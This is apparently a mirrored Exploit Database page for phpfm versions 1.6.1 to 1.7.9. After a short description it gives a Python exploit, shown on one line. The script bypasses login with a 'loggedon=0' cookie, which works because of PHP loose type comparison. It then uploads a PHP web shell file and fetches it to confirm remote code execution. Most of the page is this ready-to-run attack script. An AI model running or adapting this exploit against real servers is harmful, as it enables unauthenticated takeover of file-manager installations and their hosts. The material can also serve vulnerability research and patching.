phpfm v1.7.9 – Authentication type juggling

• Exploit Database
• 112 阅读

• 作者： thoughtfault
  日期： 2023-07-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51594/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40

  # Exploit Title: phpfm v1.7.9 - Authentication type juggling # Date: 2023-07-10 # Exploit Author: thoughtfault # Vendor Homepage: https://www.dulldusk.com/phpfm/ # Software Link: https://github.com/dulldusk/phpfm/ # Version: 1.6.1-1.7.9 # Tested on: Ubuntu 22.04 # CVE : N/A """ An authentication bypass exists in when the hash of the password selected by the user incidently begins with 0e, 00e, and in some PHP versions, 0x. This is because loose type comparision is performed between the password hash and the loggedon value, which by default for an unauthenticated user is 0 and can additionally be controlled by the attacker.This allows an attacker to bypass the login and obtain remote code execution.   A list of vulnerable password hashes can be found here. https://github.com/spaze/hashes/blob/master/md5.md """ import requests import sys   if len(sys.argv) < 2: print(f"[*] Syntax: ./{__file__} http://target/") sys.exit(0)     url = sys.argv[1].rstrip(&apos;/&apos;) + "/index.php"   payload_name = "shell.php" payload = &apos;<?php echo "I am a shell"; ?>&apos; payload_url = url.replace("index.php", payload_name)   headers = {"Accept-Language": "en-US,en;q=0.5", "Cookie": "loggedon=0"} files = {"dir_dest": (None, "/srv/http/"), "action": (None, "10"), "upfiles[]": ("shell.php", payload) }   requests.post(url, headers=headers, files=files)   r = requests.get(payload_url) if r.status_code == 200: print(f"[*] Exploit sucessfull: {payload_url}") print(r.text) else: print(f"[*] Exploit might have failed, payload url returned a non-200 status code of: {r.status_code}" )